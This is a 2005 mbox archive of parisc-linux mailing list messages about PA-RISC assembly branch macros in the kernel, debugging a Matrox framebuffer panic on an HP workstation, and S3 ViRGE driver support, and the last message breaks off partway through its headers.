	Mon, 30 May 2005 23:42:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E22B77D652
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 May 2005 23:41:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14631-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 May 2005 23:41:56 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 4483A7D651
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 May 2005 23:41:56 -0600 (MDT)
Original-Received: from mail-5-bnl.mail.tiscali.sys ([10.39.115.135]
	helo=mail-5-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DczVe-0002GV-3P; Tue, 31 May 2005 07:41:51 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Tue, 31 May 2005 07:41:49 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bJzpYm5aeSEkfL6WZHQhaXN1IGRvb8Cd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22747

Hello Randolph,

>
> > #ifndef CONFIG_64BIT
> >         .macro fixup_branch,lbl
> >         b           \lbl
> >         .endm
> > #else
> >         .macro fixup_branch,lbl
> >         ldil        L%\lbl, %r1
> >         ldo         R%\lbl(%r1), %r1
> >         bv,n        %r0(%r1)
> >         .endm
> > #endif
>
> These two do the same thing. The 32-bit version is simpler because we
> can rely on the linker to do fixups for us if the branch is too far
> away. The 64-bit version always uses a long branch sequence to avoid
> stub issues with the 64-bit toolchain. In the C code I have simply not
> done this (micro-)optimization.
>
Ok clear but still confused why 32bit branch doesn't nullify the insn
in delay slot like did 64bit?

btw one more thing confusing me: the third fixup_branch macro definition
in lusercopy.S:
[snip]
         .macro fixup_branch,lbl
         ldil        L%\lbl, %r1
         ldo         R%\lbl(%r1), %r1
         bv          %r0(%r1)
         .endm

This time just bv not bv,n ?
I presume that's needed because here that's user space but couldn't we ha=
ve
2 macro name (e.g a k_fixup_br, us_fixup_br)  to avoid this confusion?

Thanks again,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Mon, 30 May 2005 23:26:19 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20050531062619.GI3050@tausq.org>
References: <4282FEEE0000724C@mail-5-bnl.tiscali.it>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623795 14694 80.91.229.3 (22 Nov 2014 02:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:35 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 May 2005 06:26:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 31 May 2005 08:26:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93BF17D661;
	Tue, 31 May 2005 00:26:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14926-05; Tue, 31 May 2005 00:26:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1DFF7D665;
	Tue, 31 May 2005 00:26:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C5B77D656
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 May 2005 00:26:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14631-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 May 2005 00:26:27 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id AEA2C7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 May 2005 00:26:27 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 624654381A; Mon, 30 May 2005 23:26:19 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <4282FEEE0000724C@mail-5-bnl.tiscali.it>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ymbuYk0reSEkN76WZHQhaXN1IGRvb8Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22748

> Ok clear but still confused why 32bit branch doesn't nullify the insn
> in delay slot like did 64bit?

it's a bug, but fortunately that copy of the fixup_branch macro (in
syscall.S) isn't actually used ;-) I'll remove it.

> btw one more thing confusing me: the third fixup_branch macro definition
> in lusercopy.S:
> [snip]
>          .macro fixup_branch,lbl
>          ldil        L%\lbl, %r1
>          ldo         R%\lbl(%r1), %r1
>          bv          %r0(%r1)
>          .endm
> 
> This time just bv not bv,n ?

Yes, if you look at where the macro is used you will see that there is
an instruction in the delay slot for the branch that should be executed.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Matrox Mystique video card caused Kernel Panic
	on HP Visualize 785/B2000 with rebuilt 2.6.8 kernel
Date: Tue, 31 May 2005 15:10:14 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20050531211014.GB2674@colo.lackof.org>
References: <5.1.1.6.1.20050530221651.0238dca8@pop.singnet.com.sg>
	<5.1.1.6.1.20050530221651.0238dca8@pop.singnet.com.sg>
	<5.1.1.6.1.20050531110035.02358110@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623795 14699 80.91.229.3 (22 Nov 2014 02:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "J. L. Lee" <jllee@singnet.com.sg>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 May 2005 21:07:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 31 May 2005 23:07:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39EA57D652;
	Tue, 31 May 2005 15:06:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19380-08; Tue, 31 May 2005 15:06:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C2DA7D653;
	Tue, 31 May 2005 15:06:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC16D7D64F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 May 2005 15:06:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19380-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 May 2005 15:06:47 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 533FF7D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 May 2005 15:06:47 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0554329803C;
	Tue, 31 May 2005 15:10:16 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09722-08; Tue, 31 May 2005 15:10:14 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 93958298010; Tue, 31 May 2005 15:10:14 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <5.1.1.6.1.20050531110035.02358110@pop.singnet.com.sg>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rbTuYo42eSEkf76WZHQhaXN1IGRvb0CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22749

On Tue, May 31, 2005 at 11:09:05AM +0800, J. L. Lee wrote:
> I am a novice to Linux, especially the Debian variant and the HP 
> workstations. I am also not a programmer so afraid you have to be patient 
> with me.

no problem.
Please keep the parisc-linux list cc'd so the mail gets archived.

> You mentioned "The symptom is consistent with derefencing an address that's 
> not ioremapped. But it looks like ioremapped is being called in 
> initMatrox2(). You want to add printk's to make sure that's happening like 
> we expect."
> 
> I don't understand what you mean but if you can direct me to where I could 
> change the coding in the source code I will give it a try and let you know 
> the result.

What I meant was, in drivers/video/matrox/matroxfb_base.h
add a printk to mga_ioremap() and to mga_iounmap() so we know
what the virtual and physical addresses are and when to expect
the mappings to be valid.
Sorry, I don't have time to cook up a proper patch.

Please also build with CONFIG_FB_MATROX=m (as a module) so you can first:
	lspci -v
	cat /proc/iomem

then "modprobe maxtroxfb" once you are ready to crash the machine.


> ps. Yes, I have referred to the Graphics How-To. That is why I chose the 
> Matrox video card. I have S3 Virge too but there is no configurable S3 
> driver in the kernel configuration file.

Ok. If someone can tell me S3 Virge is compatible with another matrox
cards, I'd be happy to add it to the How-To.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] S3 ViRGE
Date: Wed, 1 Jun 2005 02:04:22 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20050601010422.GA17369@ntlworld.com>
References: <5.1.1.6.1.20050530221651.0238dca8@pop.singnet.com.sg>
	<5.1.1.6.1.20050530221651.0238dca8@pop.singnet.com.sg>
	<5.1.1.6.1.20050531110035.02358110@pop.singnet.com.sg>
	<20050531211014.GB2674@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623795 14707 80.91.229.3 (22 Nov 2014 02:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jun 2005 01:04:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 01 Jun 2005 03:04:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C15F17D66D;
	Tue, 31 May 2005 19:04:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20191-08; Tue, 31 May 2005 19:04:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F1D27D665;
	Tue, 31 May 2005 19:04:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 473D67D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 May 2005 19:04:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20019-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 May 2005 19:04:27 -0600 (MDT)
Original-Received: from mta13-winn.mailhost.ntl.com (smtpout19.mailhost.ntl.com
	[212.250.162.19])
	by free.linux.hp.com (Postfix) with ESMTP id 55E307D659
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 May 2005 19:04:27 -0600 (MDT)
Original-Received: from aamta01-winn.mailhost.ntl.com ([212.250.162.8])
	by mta13-winn.mailhost.ntl.com with ESMTP id
	<20050601010425.TICB4311.mta13-winn.mailhost.ntl.com@aamta01-winn.mailhost.ntl.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Jun 2005 02:04:25 +0100
Original-Received: from janus ([82.9.44.76]) by aamta01-winn.mailhost.ntl.com with ESMTP
	id <20050601010425.OONG242.aamta01-winn.mailhost.ntl.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Jun 2005 02:04:25 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DdHeg-0004WY-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 01 Jun 2005 02:04:22 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20050531211014.GB2674@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +WzvYhwneSEkQb6WZHQhaXN1IGRvbwCQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22750

On Tue, May 31, 2005 at 11:09:05AM +0800, J. L. Lee wrote:
> I have S3 Virge too but there is no configurable S3 driver in the
> kernel configuration file.

virgefb seems to be for for Amigas only.  It might be worth trying the X
driver (which works for me on x86).
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Wed, 1 Jun 2005 15:11:55 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <4282FEEC00007CF4@mail-2-bnl.tiscali.it>
References: <20050531062619.GI3050@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623795 14712 80.91.229.3 (22 Nov 2014 02:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:35 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 14:12:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 03 Jun 2005 16:12:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 111C77D406;
	Fri,  3 Jun 2005 08:12:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04874-08; Fri, 3 Jun 2005 08:12:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72E5D7D408;
	Fri,  3 Jun 2005 08:12:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 102037D658
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 07:12:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24304-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Jun 2005 07:12:13 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 66A447D651
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 07:12:13 -0600 (MDT)
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DdT0l-0004D6-Gf; Wed, 01 Jun 2005 15:11:57 +0200
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Wed, 1 Jun 2005 15:11:55 +0200
In-Reply-To: <20050531062619.GI3050@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: agDSYrRHeSEkbL6WZHQhaXN1IGRvb8Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22751


> 
> 
> > Ok clear but still confused why 32bit branch doesn't nullify the insn=

> > in delay slot like did 64bit?
> 
> it's a bug, but fortunately that copy of the fixup_branch macro (in
> syscall.S) isn't actually used ;-) I'll remove it.
> 
mmm, it seems that I am ongoing to become blind (to miss that ?)
ah no this the night (no idea where stand this dmaned bug) but I was just=

blind by a pocket torch thinking it would be a star :_(
 
> > btw one more thing confusing me: the third fixup_branch macro definit=
ion
> > in lusercopy.S:
> > [snip]
> >          .macro fixup_branch,lbl
> >          ldil        L%\lbl, %r1
> >          ldo         R%\lbl(%r1), %r1
> >          bv          %r0(%r1)
> >          .endm
> > 
> > This time just bv not bv,n ?
> 
> Yes, if you look at where the macro is used you will see that there is
> an instruction in the delay slot for the branch that should be executed=
.
> 
Cool :-)

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Wed, 1 Jun 2005 09:55:22 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200506011355.j51DtMlE026257@hiauly1.hia.nrc.ca>
References: <4282FEEC00007CF4@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623796 14716 80.91.229.3 (22 Nov 2014 02:36:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 14:12:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 03 Jun 2005 16:12:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8209B7D647;
	Fri,  3 Jun 2005 08:12:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04999-10; Fri, 3 Jun 2005 08:12:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AE2C7D644;
	Fri,  3 Jun 2005 08:12:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 588E57D658
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 07:55:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
